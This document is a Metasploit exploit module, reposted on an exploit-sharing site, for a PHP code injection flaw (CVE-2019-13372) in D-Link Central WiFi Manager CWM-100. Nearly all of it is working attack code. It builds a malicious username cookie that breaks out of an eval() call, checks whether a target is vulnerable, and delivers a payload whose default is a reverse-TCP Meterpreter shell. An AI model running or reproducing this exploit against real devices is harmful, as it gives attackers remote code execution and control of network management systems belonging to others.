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D-Link Central WiFi Manager CWM(100) Remote Code Execution Exploit
Author
Risk
[Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'D-Link Central WiFi Manager CWM(100) RCE',
'Description' => %q{
This module exploits a PHP code injection vulnerability in D-Link Central WiFi Manager CWM(100)
versions below `v1.03R0100_BETA6`. The vulnerability exists in the
username cookie, which is passed to `eval()` without being sanitized.
Dangerous functions are not disabled by default, which makes it possible
to get code execution on the target.
},
'License' => MSF_LICENSE,
'Author' =>
[
'M3@ZionLab from DBAppSecurity', # Original discovery
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # PoC, metasploit module
],
'References' =>
[
['CVE', '2019-13372'],
['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/' ]
],
'Targets' => [ [ 'Automatic', {}] ],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'SSL' => true,
'RPORT' => 443
},
'Platform' => %w[php],
'Arch' => [ ARCH_PHP ],
'DisclosureDate' => 'Jul 9 2019'
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])
]
)
end
def inject_php(cmd)
encode_char = ->(char) { '%' + char.ord.to_s(16).rjust(2, '0') }
payload = "',0,\"\",1,\"0\")%3b#{cmd.gsub(/[;\s]/, &encode_char)}%3b//\""
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'index.php', 'Index', 'index'),
'cookie' => "username=#{payload};password="
)
res ? res.body[/^(.*?)<!DOCTYPE html>/mi, 1] : nil
end
def check
rand_text = Rex::Text.rand_text_alphanumeric(rand(4..10))
if inject_php("echo \"#{rand_text}\"")&.chomp == rand_text
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Unknown
end
def exploit
inject_php(payload.raw)
end
end
# 0day.today [2024-09-28] #